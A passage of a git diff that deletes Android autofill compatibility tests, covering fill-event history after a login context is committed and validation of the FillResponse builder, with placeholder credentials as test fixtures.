-                        .setField(ID_USERNAME, "username1")
-                        .setField(ID_PASSWORD, "password1")
-                        .setPresentation(createPresentation("dataset1"))
-                        .build())
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "username2")
-                        .setField(ID_PASSWORD, "password2")
-                        .setPresentation(createPresentation("dataset2"))
-                        .build())
-                .setFillResponseFlags(FillResponse.FLAG_TRACK_CONTEXT_COMMITED)
-                .build());
-        mActivity.expectAutoFill("username1", "password1");
-
-        // Trigger autofill on username
-        mActivity.onUsername(View::requestFocus);
-        sReplier.getNextFillRequest();
-
-        final UiObject2 datasetPicker = mUiBot.assertDatasets("dataset1", "dataset2");
-        mUiBot.selectDataset(datasetPicker, "dataset1");
-        mActivity.assertAutoFilled();
-
-        // Verify dataset selection
-        {
-            final List<Event> events = InstrumentedAutoFillService.getFillEvents(2);
-            assertFillEventForDatasetShown(events.get(0));
-            assertFillEventForDatasetSelected(events.get(1), NULL_DATASET_ID);
-        }
-
-        // Finish the context by login in
-        mActivity.onUsername((v) -> v.setText("USERNAME"));
-        mActivity.onPassword((v) -> v.setText("USERNAME"));
-
-        final String expectedMessage = getWelcomeMessage("USERNAME");
-        final String actualMessage = mActivity.tapLogin();
-        assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
-        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
-
-        // ...and check again
-        {
-            final List<Event> events = InstrumentedAutoFillService.getFillEvents(3);
-            assertFillEventForDatasetShown(events.get(0));
-            assertFillEventForDatasetSelected(events.get(1), NULL_DATASET_ID);
-            assertFillEventForDatasetShown(events.get(2));
-        }
-    }
-
-    @Test
-    public void testContextCommitted_idlessDatasetSelected_datasetWithIdIgnored()
-            throws Exception {
-        enableService();
-
-        sReplier.addResponse(new CannedFillResponse.Builder().addDataset(
-                new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "username1")
-                        .setField(ID_PASSWORD, "password1")
-                        .setPresentation(createPresentation("dataset1"))
-                        .build())
-                .addDataset(new CannedDataset.Builder()
-                        .setId("id2")
-                        .setField(ID_USERNAME, "username2")
-                        .setField(ID_PASSWORD, "password2")
-                        .setPresentation(createPresentation("dataset2"))
-                        .build())
-                .setFillResponseFlags(FillResponse.FLAG_TRACK_CONTEXT_COMMITED)
-                .build());
-        mActivity.expectAutoFill("username1", "password1");
-
-        // Trigger autofill on username
-        mActivity.onUsername(View::requestFocus);
-        final FillRequest request = sReplier.getNextFillRequest();
-
-        final UiObject2 datasetPicker = mUiBot.assertDatasets("dataset1", "dataset2");
-        mUiBot.selectDataset(datasetPicker, "dataset1");
-        mActivity.assertAutoFilled();
-
-        // Verify dataset selection
-        {
-            final List<Event> events = InstrumentedAutoFillService.getFillEvents(2);
-            assertFillEventForDatasetShown(events.get(0));
-            assertFillEventForDatasetSelected(events.get(1), NULL_DATASET_ID);
-        }
-
-        // Finish the context by login in
-        mActivity.onPassword((v) -> v.setText("username1"));
-
-        final String expectedMessage = getWelcomeMessage("username1");
-        final String actualMessage = mActivity.tapLogin();
-        assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
-        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
-
-        // ...and check again
-        {
-            final List<Event> events = InstrumentedAutoFillService.getFillEvents(3);
-            assertFillEventForDatasetShown(events.get(0));
-            assertFillEventForDatasetSelected(events.get(1), NULL_DATASET_ID);
-
-            FillEventHistory.Event event2 = events.get(2);
-            assertThat(event2.getType()).isEqualTo(TYPE_CONTEXT_COMMITTED);
-            assertThat(event2.getDatasetId()).isNull();
-            assertThat(event2.getClientState()).isNull();
-            assertThat(event2.getSelectedDatasetIds()).isEmpty();
-            assertThat(event2.getIgnoredDatasetIds()).containsExactly("id2");
-            final AutofillId passwordId = findAutofillIdByResourceId(request.contexts.get(0),
-                    ID_PASSWORD);
-            final Map<AutofillId, String> changedFields = event2.getChangedFields();
-            assertThat(changedFields).containsExactly(passwordId, "id2");
-            assertThat(event2.getManuallyEnteredField()).isEmpty();
-        }
-    }
-
-    @Test
-    public void testContextCommitted_idlessDatasetIgnored_datasetWithIdSelected()
-            throws Exception {
-        enableService();
-
-        sReplier.addResponse(new CannedFillResponse.Builder().addDataset(
-                new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "username1")
-                        .setField(ID_PASSWORD, "password1")
-                        .setPresentation(createPresentation("dataset1"))
-                        .build())
-                .addDataset(new CannedDataset.Builder()
-                        .setId("id2")
-                        .setField(ID_USERNAME, "username2")
-                        .setField(ID_PASSWORD, "password2")
-                        .setPresentation(createPresentation("dataset2"))
-                        .build())
-                .setFillResponseFlags(FillResponse.FLAG_TRACK_CONTEXT_COMMITED)
-                .build());
-        mActivity.expectAutoFill("username2", "password2");
-
-        // Trigger autofill on username
-        mActivity.onUsername(View::requestFocus);
-        final FillRequest request = sReplier.getNextFillRequest();
-
-        final UiObject2 datasetPicker = mUiBot.assertDatasets("dataset1", "dataset2");
-        mUiBot.selectDataset(datasetPicker, "dataset2");
-        mActivity.assertAutoFilled();
-
-        // Verify dataset selection
-        {
-            final List<Event> events = InstrumentedAutoFillService.getFillEvents(2);
-            assertFillEventForDatasetShown(events.get(0));
-            assertFillEventForDatasetSelected(events.get(1), "id2");
-        }
-
-        // Finish the context by login in
-        mActivity.onPassword((v) -> v.setText("username2"));
-
-        final String expectedMessage = getWelcomeMessage("username2");
-        final String actualMessage = mActivity.tapLogin();
-        assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
-        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
-
-        // ...and check again
-        {
-            final List<Event> events = InstrumentedAutoFillService.getFillEvents(3);
-            assertFillEventForDatasetShown(events.get(0));
-            assertFillEventForDatasetSelected(events.get(1), "id2");
-
-            final FillEventHistory.Event event2 = events.get(2);
-            assertThat(event2.getType()).isEqualTo(TYPE_CONTEXT_COMMITTED);
-            assertThat(event2.getDatasetId()).isNull();
-            assertThat(event2.getClientState()).isNull();
-            assertThat(event2.getSelectedDatasetIds()).containsExactly("id2");
-            assertThat(event2.getIgnoredDatasetIds()).isEmpty();
-            final AutofillId passwordId = findAutofillIdByResourceId(request.contexts.get(0),
-                    ID_PASSWORD);
-            final Map<AutofillId, String> changedFields = event2.getChangedFields();
-            assertThat(changedFields).containsExactly(passwordId, "id2");
-            assertThat(event2.getManuallyEnteredField()).isEmpty();
-        }
-    }
-
-    /**
-     * Tests scenario where the context was committed, no dataset was selected by the user,
-     * neither the user entered values that were present in these datasets.
-     */
-    @Test
-    public void testContextCommitted_noDatasetSelected_valuesNotManuallyEntered() throws Exception {
-        enableService();
-
-        sReplier.addResponse(new CannedFillResponse.Builder().addDataset(
-                new CannedDataset.Builder()
-                        .setId("id1")
-                        .setField(ID_USERNAME, "username1")
-                        .setField(ID_PASSWORD, "password1")
-                        .setPresentation(createPresentation("dataset1"))
-                        .build())
-                .addDataset(new CannedDataset.Builder()
-                        .setId("id2")
-                        .setField(ID_USERNAME, "username2")
-                        .setField(ID_PASSWORD, "password2")
-                        .setPresentation(createPresentation("dataset2"))
-                        .build())
-                .setFillResponseFlags(FillResponse.FLAG_TRACK_CONTEXT_COMMITED)
-                .build());
-        // Trigger autofill on username
-        mActivity.onUsername(View::requestFocus);
-        sReplier.getNextFillRequest();
-        mUiBot.assertDatasets("dataset1", "dataset2");
-
-        // Verify history
-        {
-            final List<Event> events = InstrumentedAutoFillService.getFillEvents(1);
-            assertFillEventForDatasetShown(events.get(0));
-        }
-        // Enter values not present at the datasets
-        mActivity.onUsername((v) -> v.setText("USERNAME"));
-        mActivity.onPassword((v) -> v.setText("USERNAME"));
-
-        // Finish the context by login in
-        final String expectedMessage = getWelcomeMessage("USERNAME");
-        final String actualMessage = mActivity.tapLogin();
-        assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
-        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
-
-        // Verify history again
-        {
-            final List<Event> events = InstrumentedAutoFillService.getFillEvents(2);
-            assertFillEventForDatasetShown(events.get(0));
-            final Event event = events.get(1);
-            assertThat(event.getType()).isEqualTo(TYPE_CONTEXT_COMMITTED);
-            assertThat(event.getDatasetId()).isNull();
-            assertThat(event.getClientState()).isNull();
-            assertThat(event.getIgnoredDatasetIds()).containsExactly("id1", "id2");
-            assertThat(event.getChangedFields()).isEmpty();
-            assertThat(event.getManuallyEnteredField()).isEmpty();
-        }
-    }
-
-    /**
-     * Tests scenario where the context was committed, just one dataset was selected by the user,
-     * and the user changed the values provided by the service.
-     */
-    @Test
-    public void testContextCommitted_oneDatasetSelected() throws Exception {
-        enableService();
-
-        sReplier.addResponse(new CannedFillResponse.Builder().addDataset(
-                new CannedDataset.Builder()
-                        .setId("id1")
-                        .setField(ID_USERNAME, "username1")
-                        .setField(ID_PASSWORD, "password1")
-                        .setPresentation(createPresentation("dataset1"))
-                        .build())
-                .addDataset(new CannedDataset.Builder()
-                        .setId("id2")
-                        .setField(ID_USERNAME, "username2")
-                        .setField(ID_PASSWORD, "password2")
-                        .setPresentation(createPresentation("dataset2"))
-                        .build())
-                .setFillResponseFlags(FillResponse.FLAG_TRACK_CONTEXT_COMMITED)
-                .build());
-        mActivity.expectAutoFill("username1", "password1");
-
-        // Trigger autofill on username
-        mActivity.onUsername(View::requestFocus);
-        final FillRequest request = sReplier.getNextFillRequest();
-
-        final UiObject2 datasetPicker = mUiBot.assertDatasets("dataset1", "dataset2");
-        mUiBot.selectDataset(datasetPicker, "dataset1");
-        mActivity.assertAutoFilled();
-
-        // Verify dataset selection
-        {
-            final List<Event> events = InstrumentedAutoFillService.getFillEvents(2);
-            assertFillEventForDatasetShown(events.get(0));
-            assertFillEventForDatasetSelected(events.get(1), "id1");
-        }
-
-        // Finish the context by login in
-        mActivity.onUsername((v) -> v.setText("USERNAME"));
-        mActivity.onPassword((v) -> v.setText("USERNAME"));
-
-        final String expectedMessage = getWelcomeMessage("USERNAME");
-        final String actualMessage = mActivity.tapLogin();
-        assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
-        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
-
-        // ...and check again
-        {
-            final List<Event> events = InstrumentedAutoFillService.getFillEvents(4);
-            assertFillEventForDatasetShown(events.get(0));
-            assertFillEventForDatasetSelected(events.get(1), "id1");
-
-            assertFillEventForDatasetShown(events.get(2));
-            final FillEventHistory.Event event2 = events.get(3);
-            assertThat(event2.getType()).isEqualTo(TYPE_CONTEXT_COMMITTED);
-            assertThat(event2.getDatasetId()).isNull();
-            assertThat(event2.getClientState()).isNull();
-            assertThat(event2.getSelectedDatasetIds()).containsExactly("id1");
-            assertThat(event2.getIgnoredDatasetIds()).containsExactly("id2");
-            final Map<AutofillId, String> changedFields = event2.getChangedFields();
-            final FillContext context = request.contexts.get(0);
-            final AutofillId usernameId = findAutofillIdByResourceId(context, ID_USERNAME);
-            final AutofillId passwordId = findAutofillIdByResourceId(context, ID_PASSWORD);
-
-            assertThat(changedFields).containsExactlyEntriesIn(
-                    ImmutableMap.of(usernameId, "id1", passwordId, "id1"));
-            assertThat(event2.getManuallyEnteredField()).isEmpty();
-        }
-    }
-
-    /**
-     * Tests scenario where the context was committed, both datasets were selected by the user,
-     * and the user changed the values provided by the service.
-     */
-    @Test
-    public void testContextCommitted_multipleDatasetsSelected() throws Exception {
-        enableService();
-
-        sReplier.addResponse(new CannedFillResponse.Builder().addDataset(
-                new CannedDataset.Builder()
-                        .setId("id1")
-                        .setField(ID_USERNAME, "username")
-                        .setPresentation(createPresentation("dataset1"))
-                        .build())
-                .addDataset(new CannedDataset.Builder()
-                        .setId("id2")
-                        .setField(ID_PASSWORD, "password")
-                        .setPresentation(createPresentation("dataset2"))
-                        .build())
-                .setFillResponseFlags(FillResponse.FLAG_TRACK_CONTEXT_COMMITED)
-                .build());
-        mActivity.expectAutoFill("username");
-
-        // Trigger autofill
-        mActivity.onUsername(View::requestFocus);
-        final FillRequest request = sReplier.getNextFillRequest();
-
-        // Autofill username
-        mUiBot.selectDataset("dataset1");
-        mActivity.assertAutoFilled();
-        {
-            // Verify fill history
-            final List<Event> events = InstrumentedAutoFillService.getFillEvents(2);
-            assertFillEventForDatasetShown(events.get(0));
-            assertFillEventForDatasetSelected(events.get(1), "id1");
-        }
-
-        // Autofill password
-        mActivity.expectPasswordAutoFill("password");
-
-        mActivity.onPassword(View::requestFocus);
-        mUiBot.selectDataset("dataset2");
-        mActivity.assertAutoFilled();
-
-        {
-            // Verify fill history
-            final List<Event> events = InstrumentedAutoFillService.getFillEvents(4);
-
-            assertFillEventForDatasetShown(events.get(0));
-            assertFillEventForDatasetSelected(events.get(1), "id1");
-            assertFillEventForDatasetShown(events.get(2));
-            assertFillEventForDatasetSelected(events.get(3), "id2");
-        }
-
-        // Finish the context by login in
-        mActivity.onPassword((v) -> v.setText("username"));
-
-        final String expectedMessage = getWelcomeMessage("username");
-        final String actualMessage = mActivity.tapLogin();
-        assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
-        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
-
-        {
-            // Verify fill history
-            final List<Event> events = InstrumentedAutoFillService.getFillEvents(6);
-
-            assertFillEventForDatasetShown(events.get(0));
-            assertFillEventForDatasetSelected(events.get(1), "id1");
-            assertFillEventForDatasetShown(events.get(2));
-            assertFillEventForDatasetSelected(events.get(3), "id2");
-
-            assertFillEventForDatasetShown(events.get(4));
-            final FillEventHistory.Event event3 = events.get(5);
-            assertThat(event3.getType()).isEqualTo(TYPE_CONTEXT_COMMITTED);
-            assertThat(event3.getDatasetId()).isNull();
-            assertThat(event3.getClientState()).isNull();
-            assertThat(event3.getSelectedDatasetIds()).containsExactly("id1", "id2");
-            assertThat(event3.getIgnoredDatasetIds()).isEmpty();
-            final Map<AutofillId, String> changedFields = event3.getChangedFields();
-            final AutofillId passwordId = findAutofillIdByResourceId(request.contexts.get(0),
-                    ID_PASSWORD);
-            assertThat(changedFields).containsExactly(passwordId, "id2");
-            assertThat(event3.getManuallyEnteredField()).isEmpty();
-        }
-    }
-
-    /**
-     * Tests scenario where the context was committed, both datasets were selected by the user,
-     * and the user didn't change the values provided by the service.
-     */
-    @Test
-    public void testContextCommitted_multipleDatasetsSelected_butNotChanged() throws Exception {
-        enableService();
-
-        sReplier.addResponse(new CannedFillResponse.Builder().addDataset(
-                new CannedDataset.Builder()
-                        .setId("id1")
-                        .setField(ID_USERNAME, BACKDOOR_USERNAME)
-                        .setPresentation(createPresentation("dataset1"))
-                        .build())
-                .addDataset(new CannedDataset.Builder()
-                        .setId("id2")
-                        .setField(ID_PASSWORD, "whatever")
-                        .setPresentation(createPresentation("dataset2"))
-                        .build())
-                .setFillResponseFlags(FillResponse.FLAG_TRACK_CONTEXT_COMMITED)
-                .build());
-        mActivity.expectAutoFill(BACKDOOR_USERNAME);
-
-        // Trigger autofill
-        mActivity.onUsername(View::requestFocus);
-        sReplier.getNextFillRequest();
-
-        // Autofill username
-        mUiBot.selectDataset("dataset1");
-        mActivity.assertAutoFilled();
-        {
-            // Verify fill history
-            final List<Event> events = InstrumentedAutoFillService.getFillEvents(2);
-            assertFillEventForDatasetShown(events.get(0));
-            assertFillEventForDatasetSelected(events.get(1), "id1");
-        }
-
-        // Autofill password
-        mActivity.expectPasswordAutoFill("whatever");
-
-        mActivity.onPassword(View::requestFocus);
-        mUiBot.selectDataset("dataset2");
-        mActivity.assertAutoFilled();
-
-        {
-            // Verify fill history
-            final List<Event> events = InstrumentedAutoFillService.getFillEvents(4);
-
-            assertFillEventForDatasetShown(events.get(0));
-            assertFillEventForDatasetSelected(events.get(1), "id1");
-            assertFillEventForDatasetShown(events.get(2));
-            assertFillEventForDatasetSelected(events.get(3), "id2");
-        }
-
-        // Finish the context by login in
-        final String expectedMessage = getWelcomeMessage(BACKDOOR_USERNAME);
-        final String actualMessage = mActivity.tapLogin();
-        assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
-        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
-
-        {
-            // Verify fill history
-            final List<Event> events = InstrumentedAutoFillService.getFillEvents(5);
-
-            assertFillEventForDatasetShown(events.get(0));
-            assertFillEventForDatasetSelected(events.get(1), "id1");
-            assertFillEventForDatasetShown(events.get(2));
-            assertFillEventForDatasetSelected(events.get(3), "id2");
-
-            final FillEventHistory.Event event3 = events.get(4);
-            assertThat(event3.getType()).isEqualTo(TYPE_CONTEXT_COMMITTED);
-            assertThat(event3.getDatasetId()).isNull();
-            assertThat(event3.getClientState()).isNull();
-            assertThat(event3.getSelectedDatasetIds()).containsExactly("id1", "id2");
-            assertThat(event3.getIgnoredDatasetIds()).isEmpty();
-            assertThat(event3.getChangedFields()).isEmpty();
-            assertThat(event3.getManuallyEnteredField()).isEmpty();
-        }
-    }
-
-    /**
-     * Tests scenario where the context was committed, the user selected the dataset, than changed
-     * the autofilled values, but then change the values again so they match what was provided by
-     * the service.
-     */
-    @Test
-    public void testContextCommitted_oneDatasetSelected_Changed_thenChangedBack()
-            throws Exception {
-        enableService();
-
-        sReplier.addResponse(new CannedFillResponse.Builder().addDataset(
-                new CannedDataset.Builder()
-                        .setId("id1")
-                        .setField(ID_USERNAME, "username")
-                        .setField(ID_PASSWORD, "username")
-                        .setPresentation(createPresentation("dataset1"))
-                        .build())
-                .setFillResponseFlags(FillResponse.FLAG_TRACK_CONTEXT_COMMITED)
-                .build());
-        mActivity.expectAutoFill("username", "username");
-
-        // Trigger autofill on username
-        mActivity.onUsername(View::requestFocus);
-        sReplier.getNextFillRequest();
-
-        mUiBot.selectDataset("dataset1");
-        mActivity.assertAutoFilled();
-
-        // Verify dataset selection
-        {
-            final List<Event> events = InstrumentedAutoFillService.getFillEvents(2);
-            assertFillEventForDatasetShown(events.get(0));
-            assertFillEventForDatasetSelected(events.get(1), "id1");
-        }
-
-        // Change the fields to different values from0 datasets
-        mActivity.onUsername((v) -> v.setText("USERNAME"));
-        mActivity.onPassword((v) -> v.setText("USERNAME"));
-
-        // Then change back to dataset values
-        mActivity.onUsername((v) -> v.setText("username"));
-        mActivity.onPassword((v) -> v.setText("username"));
-
-        final String expectedMessage = getWelcomeMessage("username");
-        final String actualMessage = mActivity.tapLogin();
-        assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
-        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
-
-        // ...and check again
-        {
-            final List<Event> events = InstrumentedAutoFillService.getFillEvents(4);
-            assertFillEventForDatasetShown(events.get(0));
-            assertFillEventForDatasetSelected(events.get(1), "id1");
-            assertFillEventForDatasetShown(events.get(2));
-
-            FillEventHistory.Event event4 = events.get(3);
-            assertThat(event4.getType()).isEqualTo(TYPE_CONTEXT_COMMITTED);
-            assertThat(event4.getDatasetId()).isNull();
-            assertThat(event4.getClientState()).isNull();
-            assertThat(event4.getSelectedDatasetIds()).containsExactly("id1");
-            assertThat(event4.getIgnoredDatasetIds()).isEmpty();
-            assertThat(event4.getChangedFields()).isEmpty();
-            assertThat(event4.getManuallyEnteredField()).isEmpty();
-        }
-    }
-
-    /**
-     * Tests scenario where the context was committed, the user did not selected any dataset, but
-     * the user manually entered values that match what was provided by the service.
-     */
-    @Test
-    public void testContextCommitted_noDatasetSelected_butManuallyEntered()
-            throws Exception {
-        enableService();
-
-        sReplier.addResponse(new CannedFillResponse.Builder().addDataset(
-                new CannedDataset.Builder()
-                        .setId("id1")
-                        .setField(ID_USERNAME, BACKDOOR_USERNAME)
-                        .setField(ID_PASSWORD, "NotUsedPassword")
-                        .setPresentation(createPresentation("dataset1"))
-                        .build())
-                .addDataset(new CannedDataset.Builder()
-                        .setId("id2")
-                        .setField(ID_USERNAME, "NotUserUsername")
-                        .setField(ID_PASSWORD, "whatever")
-                        .setPresentation(createPresentation("dataset2"))
-                        .build())
-                .setFillResponseFlags(FillResponse.FLAG_TRACK_CONTEXT_COMMITED)
-                .build());
-        // Trigger autofill on username
-        mActivity.onUsername(View::requestFocus);
-        final FillRequest request = sReplier.getNextFillRequest();
-        mUiBot.assertDatasets("dataset1", "dataset2");
-
-        // Verify history
-        {
-            final List<Event> events = InstrumentedAutoFillService.getFillEvents(1);
-            assertFillEventForDatasetShown(events.get(0));
-        }
-
-        // Enter values present at the datasets
-        mActivity.onUsername((v) -> v.setText(BACKDOOR_USERNAME));
-        mActivity.onPassword((v) -> v.setText("whatever"));
-
-        // Finish the context by login in
-        final String expectedMessage = getWelcomeMessage(BACKDOOR_USERNAME);
-        final String actualMessage = mActivity.tapLogin();
-        assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
-        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
-
-        // Verify history
-        {
-            final List<Event> events = InstrumentedAutoFillService.getFillEvents(2);
-            assertFillEventForDatasetShown(events.get(0));
-            FillEventHistory.Event event = events.get(1);
-            assertThat(event.getType()).isEqualTo(TYPE_CONTEXT_COMMITTED);
-            assertThat(event.getDatasetId()).isNull();
-            assertThat(event.getClientState()).isNull();
-            assertThat(event.getSelectedDatasetIds()).isEmpty();
-            assertThat(event.getIgnoredDatasetIds()).containsExactly("id1", "id2");
-            assertThat(event.getChangedFields()).isEmpty();
-            final FillContext context = request.contexts.get(0);
-            final AutofillId usernameId = findAutofillIdByResourceId(context, ID_USERNAME);
-            final AutofillId passwordId = findAutofillIdByResourceId(context, ID_PASSWORD);
-
-            final Map<AutofillId, Set<String>> manuallyEnteredFields =
-                    event.getManuallyEnteredField();
-            assertThat(manuallyEnteredFields).isNotNull();
-            assertThat(manuallyEnteredFields.size()).isEqualTo(2);
-            assertThat(manuallyEnteredFields.get(usernameId)).containsExactly("id1");
-            assertThat(manuallyEnteredFields.get(passwordId)).containsExactly("id2");
-        }
-    }
-
-    /**
-     * Tests scenario where the context was committed, the user did not selected any dataset, but
-     * the user manually entered values that match what was provided by the service on different
-     * datasets.
-     */
-    @Test
-    public void testContextCommitted_noDatasetSelected_butManuallyEntered_matchingMultipleDatasets()
-            throws Exception {
-        enableService();
-
-        sReplier.addResponse(new CannedFillResponse.Builder().addDataset(
-                new CannedDataset.Builder()
-                        .setId("id1")
-                        .setField(ID_USERNAME, BACKDOOR_USERNAME)
-                        .setField(ID_PASSWORD, "NotUsedPassword")
-                        .setPresentation(createPresentation("dataset1"))
-                        .build())
-                .addDataset(new CannedDataset.Builder()
-                        .setId("id2")
-                        .setField(ID_USERNAME, "NotUserUsername")
-                        .setField(ID_PASSWORD, "whatever")
-                        .setPresentation(createPresentation("dataset2"))
-                        .build())
-                .addDataset(new CannedDataset.Builder()
-                        .setId("id3")
-                        .setField(ID_USERNAME, BACKDOOR_USERNAME)
-                        .setField(ID_PASSWORD, "whatever")
-                        .setPresentation(createPresentation("dataset3"))
-                        .build())
-                .setFillResponseFlags(FillResponse.FLAG_TRACK_CONTEXT_COMMITED)
-                .build());
-        // Trigger autofill on username
-        mActivity.onUsername(View::requestFocus);
-        final FillRequest request = sReplier.getNextFillRequest();
-        mUiBot.assertDatasets("dataset1", "dataset2", "dataset3");
-
-        // Verify history
-        {
-            final List<Event> events = InstrumentedAutoFillService.getFillEvents(1);
-            assertFillEventForDatasetShown(events.get(0));
-        }
-
-        // Enter values present at the datasets
-        mActivity.onUsername((v) -> v.setText(BACKDOOR_USERNAME));
-        mActivity.onPassword((v) -> v.setText("whatever"));
-
-        // Finish the context by login in
-        final String expectedMessage = getWelcomeMessage(BACKDOOR_USERNAME);
-        final String actualMessage = mActivity.tapLogin();
-        assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
-        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
-
-        // Verify history
-        {
-            final List<Event> events = InstrumentedAutoFillService.getFillEvents(2);
-            assertFillEventForDatasetShown(events.get(0));
-
-            final FillEventHistory.Event event = events.get(1);
-            assertThat(event.getType()).isEqualTo(TYPE_CONTEXT_COMMITTED);
-            assertThat(event.getDatasetId()).isNull();
-            assertThat(event.getClientState()).isNull();
-            assertThat(event.getSelectedDatasetIds()).isEmpty();
-            assertThat(event.getIgnoredDatasetIds()).containsExactly("id1", "id2", "id3");
-            assertThat(event.getChangedFields()).isEmpty();
-            final FillContext context = request.contexts.get(0);
-            final AutofillId usernameId = findAutofillIdByResourceId(context, ID_USERNAME);
-            final AutofillId passwordId = findAutofillIdByResourceId(context, ID_PASSWORD);
-
-            final Map<AutofillId, Set<String>> manuallyEnteredFields =
-                    event.getManuallyEnteredField();
-            assertThat(manuallyEnteredFields.size()).isEqualTo(2);
-            assertThat(manuallyEnteredFields.get(usernameId)).containsExactly("id1", "id3");
-            assertThat(manuallyEnteredFields.get(passwordId)).containsExactly("id2", "id3");
-        }
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/FillResponseTest.java b/tests/autofillservice/src/android/autofillservice/cts/FillResponseTest.java
deleted file mode 100644
index 407fa30..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/FillResponseTest.java
+++ /dev/null
@@ -1,264 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts;
-
-import static android.service.autofill.FillResponse.FLAG_DISABLE_ACTIVITY_ONLY;
-import static android.service.autofill.FillResponse.FLAG_TRACK_CONTEXT_COMMITED;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import static org.testng.Assert.assertThrows;
-
-import android.content.IntentSender;
-import android.os.Bundle;
-import android.platform.test.annotations.AppModeFull;
-import android.service.autofill.Dataset;
-import android.service.autofill.FillResponse;
-import android.service.autofill.SaveInfo;
-import android.service.autofill.UserData;
-import android.view.autofill.AutofillId;
-import android.view.autofill.AutofillValue;
-import android.widget.RemoteViews;
-
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import org.mockito.Mock;
-import org.mockito.junit.MockitoJUnitRunner;
-
-@RunWith(MockitoJUnitRunner.class)
-@AppModeFull(reason = "Unit test")
-public class FillResponseTest {
-
-    private final AutofillId mAutofillId = new AutofillId(42);
-    private final FillResponse.Builder mBuilder = new FillResponse.Builder();
-    private final AutofillId[] mIds = new AutofillId[] { mAutofillId };
-    private final SaveInfo mSaveInfo = new SaveInfo.Builder(0, mIds).build();
-    private final Bundle mClientState = new Bundle();
-    private final Dataset mDataset = new Dataset.Builder()
-            .setValue(mAutofillId, AutofillValue.forText("forty-two"))
-            .build();
-    private final long mDisableDuration = 666;
-    @Mock private RemoteViews mPresentation;
-    @Mock private RemoteViews mHeader;
-    @Mock private RemoteViews mFooter;
-    @Mock private IntentSender mIntentSender;
-    private final UserData mUserData = new UserData.Builder("id", "value", "cat").build();
-
-    @Test
-    public void testBuilder_setAuthentication_invalid() {
-        // null ids
-        assertThrows(IllegalArgumentException.class,
-                () -> mBuilder.setAuthentication(null, mIntentSender, mPresentation));
-        // empty ids
-        assertThrows(IllegalArgumentException.class,
-                () -> mBuilder.setAuthentication(new AutofillId[] {}, mIntentSender,
-                        mPresentation));
-        // ids with null value
-        assertThrows(IllegalArgumentException.class,
-                () -> mBuilder.setAuthentication(new AutofillId[] {null}, mIntentSender,
-                        mPresentation));
-        // null intent sender
-        assertThrows(IllegalArgumentException.class,
-                () -> mBuilder.setAuthentication(mIds, null, mPresentation));
-        // null presentation
-        assertThrows(IllegalArgumentException.class,
-                () -> mBuilder.setAuthentication(mIds, mIntentSender, null));
-    }
-
-    @Test
-    public void testBuilder_setAuthentication_valid() {
-        new FillResponse.Builder().setAuthentication(mIds, null, null);
-        new FillResponse.Builder().setAuthentication(mIds, mIntentSender, mPresentation);
-    }
-
-    @Test
-    public void testBuilder_setAuthentication_illegalState() {
-        assertThrows(IllegalStateException.class,
-                () -> new FillResponse.Builder().setHeader(mHeader).setAuthentication(mIds,
-                        mIntentSender, mPresentation));
-        assertThrows(IllegalStateException.class,
-                () -> new FillResponse.Builder().setFooter(mFooter).setAuthentication(mIds,
-                        mIntentSender, mPresentation));
-    }
-
-    @Test
-    public void testBuilder_setHeaderOrFooterInvalid() {
-        assertThrows(NullPointerException.class, () -> new FillResponse.Builder().setHeader(null));
-        assertThrows(NullPointerException.class, () -> new FillResponse.Builder().setFooter(null));
-    }
-
-    @Test
-    public void testBuilder_setHeaderOrFooterAfterAuthentication() {
-        FillResponse.Builder builder =
-                new FillResponse.Builder().setAuthentication(mIds, mIntentSender, mPresentation);
-        assertThrows(IllegalStateException.class, () -> builder.setHeader(mHeader));
-        assertThrows(IllegalStateException.class, () -> builder.setHeader(mFooter));
-    }
-
-    @Test
-    public void testBuilder_setUserDataInvalid() {
-        assertThrows(NullPointerException.class, () -> new FillResponse.Builder()
-                .setUserData(null));
-    }
-
-    @Test
-    public void testBuilder_setUserDataAfterAuthentication() {
-        FillResponse.Builder builder =
-                new FillResponse.Builder().setAuthentication(mIds, mIntentSender, mPresentation);
-        assertThrows(IllegalStateException.class, () -> builder.setUserData(mUserData));
-    }
-
-    @Test
-    public void testBuilder_setFlag_invalid() {
-        assertThrows(IllegalArgumentException.class, () -> mBuilder.setFlags(-1));
-    }
-
-    @Test
